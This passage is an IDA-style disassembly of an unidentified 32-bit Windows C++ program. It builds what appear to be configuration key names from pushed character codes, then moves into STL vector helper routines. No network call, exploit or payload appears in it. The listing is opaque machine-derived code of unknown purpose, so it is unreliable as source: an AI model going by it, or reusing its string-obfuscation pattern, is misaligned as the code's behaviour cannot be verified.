13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 36h call sub_4019B5 add esp, 64h mov byte ptr [esp+370h], 37h mov ecx, eax call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 38h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D638F push eax mov [esp+14h], edi call sub_401A5F lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 3Fh push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 41h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+158h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 44h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3D4h], 48h push 13h lea eax, [esp+94h] push eax call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+170h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 50h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D638F push edx mov [esp+14h], edi call sub_401A5F push offset byte_446F70 push offset word_4E6E9A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 push eax lea eax, [esp+234h] push offset dword_4437F4 push eax call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h push eax push offset dword_4437F4 lea ecx, [esp+268h] push ecx call sub_40102D sub esp, 0Ch lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] push eax mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1B8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E9A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+110h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44742D mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473E4 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472C0 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447352 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_447309 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44739B mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474BF mov ecx, offset word_448D16 call sub_401596 lea ecx, [esp+1D0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+260h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+230h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C9E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409A66 push edi nop call near ptr 28115A0h mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409ABF nop call near ptr 28119E3h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409ABF: ; CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 0 pop esi retn 